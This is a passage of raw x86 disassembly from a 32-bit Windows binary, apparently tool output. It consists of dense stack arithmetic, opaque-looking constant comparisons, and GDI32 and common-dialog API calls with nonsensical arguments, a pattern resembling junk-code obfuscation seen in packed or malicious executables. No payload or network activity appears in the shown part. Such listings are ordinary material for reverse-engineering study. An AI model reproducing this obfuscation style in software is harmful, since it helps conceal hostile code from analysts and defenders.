mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb44]
add edx, eax
mov ecx, dword [ebp - 0x2e6c]
mov word [ecx], dx
movzx edx, word [ebp - 0xb4c]
push edx
movzx eax, word [ebp - 0xb4c]
push eax
call fcn.004ee400
add esp, 8
jmp 0x418aec
lea ecx, [ebp - 0x2e98]
push ecx
push 0xf1
push 0x91
push 0xc4
push 0x2c
mov edx, dword [ebp - 0x2e98]
push edx
call dword [sym.imp.GDI32.dll_ScaleViewportExtEx]
mov dword [ebp - 0x2e50], eax
mov eax, dword [ebp - 0x2e7c]
mov cl, byte [eax]
mov byte [ebp - 0xcf], cl
jmp 0x418b6f
lea edx, [ebp - 0x2e64]
mov dword [ebp - 0x2e9c], edx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e64]
cmp edx, ecx
jle 0x418b6f
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
movsx edx, byte [ebp - 0xcd]
movsx eax, byte [ebp - 0xce]
sub edx, eax
mov byte [0x518004], dl
push 0x65
push 9
push 0x60
mov ecx, dword [ebp - 0x2e4c]
push ecx
call dword [sym.imp.GDI32.dll_SetPixel]
mov dword [ebp - 0x2dfc], eax
lea edx, [ebp - 0xcd]
mov dword [ebp - 0x2ea0], edx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [eax]
mov dword [ebp - 0x2ea4], ecx
cmp dword [ebp - 0x2ea4], 0x3b70352d
je 0x418b97
jmp 0x418be0
push 0xf8
mov edx, dword [ebp - 0x2e4c]
push edx
call dword [sym.imp.GDI32.dll_GetNearestColor]
mov dword [ebp - 0x2dfc], eax
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2e64]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2e64], edx
jmp 0x4ed1bf
mov eax, dword [ebp - 0x2e7c]
mov cl, byte [eax]
mov byte [ebp - 0x2ea8], cl
cmp byte [ebp - 0x2ea8], 0x61
je 0x418bf9
jmp 0x418c2d
lea edx, [ebp - 0x2e60]
mov dword [0x5193bc], edx
mov eax, dword [ebp - 0x2e7c]
mov cl, byte [eax]
mov byte [ebp - 0xd0], cl
lea edx, [ebp - 0xb48]
mov dword [ebp - 0x2eac], edx
lea eax, [ebp - 0x2e5c]
mov dword [ebp - 0x2eb0], eax
jmp 0x418c7f
lea ecx, [ebp - 0xe580]
push ecx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [ebp - 0x2e90], eax
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e38], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
lea edx, [ebp - 0xe5d4]
push edx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [ebp - 0x2eb4], eax
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0x2eb8], eax
lea ecx, [ebp - 0xb48]
mov dword [ebp - 0x2ebc], ecx
lea edx, [ebp - 0xcf]
mov dword [ebp - 0x2ec0], edx
mov dword [ebp - 0x2ec4], 0xd31b
mov dword [ebp - 0x2ec8], 0x6f10
mov al, byte [ebp - 0xd0]
mov byte [ebp - 0x2ecc], al
cmp byte [ebp - 0x2ecc], 0x1f
je 0x418dec
cmp byte [ebp - 0x2ecc], 0x61
je 0x418cde
jmp 0x418e4c
lea ecx, [ebp - 0xcd]
mov dword [ebp - 0x2ed0], ecx
lea edx, [ebp - 0xb40]
mov dword [ebp - 0x2ed4], edx
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0x2ed8], eax
mov ecx, dword [0x5193bc]
mov edx, dword [ebp - 0x2dfc]
imul edx, dword [ecx]
mov eax, dword [ebp - 0x2e5c]
add eax, dword [ebp - 0x2e60]
cmp edx, eax
jb 0x418db1
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov dword [ebp - 0x2edc], edx
cmp dword [ebp - 0x2edc], 0x453
je 0x418d42
jmp 0x418d92
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e64]
sub ecx, dword [eax]
mov dword [ebp - 0x2e38], ecx
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd0]
add eax, ecx
mov edx, dword [ebp - 0x2ec0]
mov byte [edx], al
mov eax, dword [ebp - 0x2ed0]
movzx ecx, byte [eax]
push ecx
movzx edx, byte [ebp - 0xcd]
push edx
movzx eax, byte [ebp - 0xcd]
push eax
call fcn.004ed7b0
nop
jmp 0x418daf
push 0x57
mov ecx, dword [ebp - 0x2ee0]
push ecx
mov edx, dword [ebp - 0x2ee4]
push edx
call dword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [ebp - 0xb4c], ax
jmp 0x418dea
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e38]
add eax, dword [ebp - 0x2e64]
cmp edx, eax
jge 0x418dea
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb48]
add edx, eax
mov word [ebp - 0xb44], dx
jmp 0x418e4c
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
mov dword [ebp - 0x2ee8], edx
cmp dword [ebp - 0x2ee8], 0xb5
je 0x418e38
cmp dword [ebp - 0x2ee8], 0x9fd
je 0x418e15
jmp 0x418e4c
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x2dfc]
push edx
movzx eax, byte [ebp - 0xd0]
push eax
call fcn.004eea20
add esp, 0xc
jmp 0x418e4c
mov ecx, dword [ebp - 0x2e2c]
sub ecx, dword [ebp - 0x2e64]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
mov dword [ebp - 0x2eec], ecx
cmp dword [ebp - 0x2eec], 0x79da
je 0x418e6c
jmp 0x418efe
mov dl, byte [ebp - 0xce]
mov byte [ebp - 0x2ef0], dl
cmp byte [ebp - 0x2ef0], 0x43
je 0x418e8c
cmp byte [ebp - 0x2ef0], 0x45
je 0x418ea4
jmp 0x418efc
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2dfc], edx
jmp 0x418efc
lea eax, [ebp - 0xe728]
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [ebp - 0x2ef4], eax
mov ecx, dword [ebp - 0x2e64]
or ecx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2dfc]
shl eax, cl
mov ecx, dword [0x5193bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e80]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
push edx
call fcn.004edd80
add esp, 8
jmp 0x418f38
lea eax, [ebp - 0xcf]
mov dword [ebp - 0x2ef8], eax
mov cx, word [ebp - 0xb48]
mov word [ebp - 0xb50], cx
mov dword [ebp - 0x2efc], 0x456b
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ebp - 0x2e5c]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x2e60], eax
cmp dword [ebp - 0x2e24], 0x11ba
jb 0x419255
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2e64], eax
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e64]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e38], ecx
mov edx, dword [ebp - 0x2e24]
sub edx, 0x67
mov dword [ebp - 0x2e24], edx
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x2ea0]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xce], cl
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2dfc]
add edx, dword [ecx]
mov dword [0x5193b8], edx
movzx eax, word [ebp - 0xb44]
movzx ecx, word [ebp - 0xb48]
add eax, ecx
mov word [ebp - 0xb50], ax
movzx edx, byte [ebp - 0xd0]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ec0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2e5c]
add edx, dword [ecx]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [ebp - 0x2e5c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2eb8]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb48]
mov ecx, dword [ebp - 0x2e6c]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xb50], ax
movzx edx, byte [ebp - 0xcf]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0xd0], dl
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ebp - 0x2dfc]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x2e60], eax
movsx ecx, byte [0x518004]
mov edx, dword [ebp - 0x2ed0]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x518005], cl
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb44]
sub eax, ecx
mov word [ebp - 0xb48], ax
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], al
mov edx, dword [ebp - 0x2dfc]
add edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2e2c]
and eax, dword [ebp - 0x2e64]
mov ecx, dword [ebp - 0x2e9c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x7f4]
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ed4]
mov word [eax], dx
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xce]
add edx, eax
mov byte [ebp - 0xcd], dl
movzx ecx, byte [ebp - 0xd0]
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xcf], cl
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e60]
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [ebp - 0x2e5c]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x2eb8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2e2c]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2e5c]
shr edx, cl
mov eax, dword [ebp - 0x2ed8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xcf]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xd0], dl
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb48]
add eax, ecx
mov edx, dword [ebp - 0x2e6c]
mov word [edx], ax
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e38], ecx
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [ebp - 0x2ed8]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
jmp 0x418f38
mov eax, dword [ebp - 0x2ea0]
mov cl, byte [eax]
mov byte [ebp - 0x2f00], cl
cmp byte [ebp - 0x2f00], 0
je 0x419271
jmp 0x41936f
lea edx, [ebp - 0x2e64]
mov dword [ebp - 0x2f04], edx
mov eax, dword [ebp - 0x2ec0]
mov cl, byte [eax]
mov byte [ebp - 0x2f08], cl
cmp byte [ebp - 0x2f08], 6
je 0x4192a6
cmp byte [ebp - 0x2f08], 0xaa
je 0x419352
jmp 0x41936a
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
mov dword [ebp - 0x2f0c], eax
cmp dword [ebp - 0x2f0c], 0x551527d7
je 0x4192c2
jmp 0x419330
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
movsx eax, byte [0x518004]
sub edx, eax
movsx ecx, byte [ebp - 0xce]
mov eax, dword [ebp - 0x2ea0]
movsx eax, byte [eax]
and ecx, eax
cmp edx, ecx
je 0x41932e
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2e64]
add edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2e6c]
mov word [edx], cx
lea eax, [ebp - 0xe628]
push eax
call dword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [ebp - 0x2f10], eax
jmp 0x419350
movzx ecx, byte [ebp - 0xcd]
push ecx
movzx edx, byte [ebp - 0xce]
push edx
mov eax, dword [ebp - 0x2ea0]
movzx ecx, byte [eax]
push ecx
call fcn.004ed7b0
nop
jmp 0x41936a
movzx edx, byte [ebp - 0xcf]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xd0], dl
jmp 0x41942c
mov dl, byte [ebp - 0xcf]
mov byte [ebp - 0x2f14], dl
cmp byte [ebp - 0x2f14], 0x40
je 0x419396
cmp byte [ebp - 0x2f14], 0xdf
je 0x419412
jmp 0x41942c
push 0xb4
mov eax, dword [ebp - 0x2ee0]
push eax
mov ecx, dword [ebp - 0x2f18]
push ecx
call dword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [ebp - 0x7f4], ax
movsx edx, word [ebp - 0xb4c]
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x2e3c]
mov word [eax], dx
movsx edx, byte [0x518004]
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0xcd], dl
lea ecx, [ebp - 0xe360]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [ebp - 0x2f1c], eax
mov edx, dword [ebp - 0x2e70]
mov eax, dword [edx]
or eax, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e5c], eax
jmp 0x41942c
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x2f04]
mov dword [ecx], eax
mov dword [ebp - 0x2f20], 0xc6a0
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
and eax, dword [ebp - 0x2e2c]
mov dword [0x518008], eax
mov dword [ebp - 0x2f24], 0x7feb
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xb50], dx
mov dl, byte [ebp - 0xcf]
mov byte [ebp - 0xd1], dl
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb44]
sub ecx, edx
mov eax, dword [ebp - 0x2ebc]
movzx edx, word [eax]
mov eax, dword [ebp - 0x2eac]
movzx eax, word [eax]
sub edx, eax
cmp ecx, edx
jl 0x419500
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e2c]
cmp eax, edx
jge 0x4194ef
lea eax, [ebp - 0xe67c]
push eax
call dword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [ebp - 0x2f28], eax
mov ecx, dword [0x5193bc]
mov edx, dword [ebp - 0x2e5c]
or edx, dword [ecx]
mov dword [ebp - 0x2e60], edx
jmp 0x4194fb
mov eax, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2f2c], eax
jmp 0x4195b9
movzx ecx, byte [ebp - 0xcf]
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
mov edx, dword [ebp - 0x2ec0]
movzx edx, byte [edx]
add eax, edx
cmp ecx, eax
je 0x4195b9
movzx eax, word [ebp - 0xb48]
mov dword [ebp - 0x2f30], eax
cmp dword [ebp - 0x2f30], 0x4e7
je 0x419549
jmp 0x4195a1
mov edx, dword [ebp - 0x2f2c]
mov ecx, dword [ebp - 0x2e2c]
shl edx, cl
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
lea ecx, [ebp - 0xe780]
push ecx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [ebp - 0x2f34], eax
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ebp - 0x2e5c]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e38]
push ecx
movzx edx, byte [ebp - 0xd1]
push edx
call fcn.004edd80
add esp, 8
jmp 0x4195b9
movzx eax, byte [ebp - 0xd0]
movzx ecx, byte [ebp - 0xd1]
xor eax, ecx
mov edx, dword [ebp - 0x2e7c]
mov byte [edx], al
cmp dword [ebp - 0x2e30], 0xa074
jbe 0x4199cd
movzx eax, word [ebp - 0xb50]
movzx ecx, word [ebp - 0xb44]
add eax, ecx
mov word [ebp - 0xb48], ax
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2e60]
add edx, dword [ebp - 0x2dfc]
mov eax, dword [ebp - 0x2eb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e64]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e30]
sub ecx, 0xbf
mov dword [ebp - 0x2e30], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
add eax, dword [ebp - 0x2f2c]
mov dword [ebp - 0x2e38], eax
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb4c]
sub edx, eax
mov word [ebp - 0xb40], dx
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xcd]
add edx, eax
mov byte [ebp - 0xce], dl
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb44]
and edx, eax
mov ecx, dword [ebp - 0x2ebc]
mov word [ecx], dx
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2e5c]
shr eax, cl
mov dword [0x5193b8], eax
mov edx, dword [0x518008]
mov ecx, dword [ebp - 0x2e64]
shl edx, cl
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb50]
movzx edx, word [ebp - 0xb44]
or ecx, edx
mov word [ebp - 0xb48], cx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd0]
xor ecx, edx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2eb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [0x518008]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2dfc]
add eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x2ed8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xd1], al
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2f2c]
add ecx, dword [eax]
mov dword [0x518008], ecx
mov edx, dword [ebp - 0x2e2c]
add edx, dword [ebp - 0x2f2c]
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
mov ecx, dword [0x518008]
add ecx, dword [ebp - 0x2e38]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x7f4], cx
mov ecx, dword [ebp - 0x2ea0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ea0]
mov byte [eax], dl
movzx ecx, byte [ebp - 0xd0]
movzx edx, byte [ebp - 0xd1]
add ecx, edx
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], cl
movzx edx, word [ebp - 0xb44]
movzx ecx, word [ebp - 0xb48]
sar edx, cl
mov word [ebp - 0xb50], dx
mov eax, dword [ebp - 0x2e70]
mov edx, dword [ebp - 0x2dfc]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2e5c]
or eax, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2dfc]
mov eax, dword [0x5193bc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2f2c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2e38]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xd0]
movzx edx, byte [ebp - 0xcf]
add ecx, edx
mov byte [ebp - 0xd1], cl
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb48]
and ecx, edx
mov eax, dword [ebp - 0x2eac]
mov word [eax], cx
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ebp - 0x2e5c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2eb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e38]
sub ecx, dword [ebp - 0x2f2c]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
mov eax, dword [0x518008]
sub eax, dword [ebp - 0x2f2c]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e60]
add edx, dword [ebp - 0x2dfc]
mov eax, dword [ebp - 0x2e70]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ebc]
mov word [eax], dx
mov edx, dword [ebp - 0x2e5c]
mov ecx, dword [ebp - 0x2dfc]
shl edx, cl
mov eax, dword [0x5193bc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0xce]
sar edx, cl
mov eax, dword [ebp - 0x2ed0]
mov byte [eax], dl
movsx ecx, word [ebp - 0xb40]
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x7f4], cx
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2f2c], eax
movzx ecx, byte [ebp - 0xd0]
movzx edx, byte [ebp - 0xd1]
add ecx, edx
mov byte [ebp - 0xcf], cl
jmp 0x4195b9
cmp dword [ebp - 0x2e40], 0xfec5
jae 0x419ae5
mov eax, dword [ebp - 0x2e40]
add eax, 0xf4
mov dword [ebp - 0x2e40], eax
movzx ecx, word [ebp - 0xb50]
movzx edx, word [ebp - 0xb44]
sub ecx, edx
mov eax, dword [ebp - 0x2eac]
mov word [eax], cx
mov ecx, dword [ebp - 0x2e64]
sub ecx, dword [ebp - 0x2f2c]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e5c]
sub eax, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e5c]
and ecx, dword [ebp - 0x2e60]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb50]
add ecx, edx
mov word [ebp - 0xb44], cx
movzx eax, byte [ebp - 0xd0]
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], al
mov edx, dword [ebp - 0x2e5c]
sub edx, dword [ebp - 0x2dfc]
mov eax, dword [ebp - 0x2eb8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e64]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2e64], eax
mov ecx, dword [0x518008]
or ecx, dword [ebp - 0x2e2c]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
jmp 0x4199cd
mov eax, dword [ebp - 0x2f04]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2e2c]
shl edx, cl
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
and ecx, dword [ebp - 0x2e5c]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
movsx eax, word [ebp - 0xb4c]
movsx ecx, word [ebp - 0xb40]
add eax, ecx
mov edx, dword [ebp - 0x2ed4]
mov word [edx], ax
movzx eax, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd0]
add eax, ecx
mov edx, dword [ebp - 0x2e7c]
mov byte [edx], al
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
sub ecx, eax
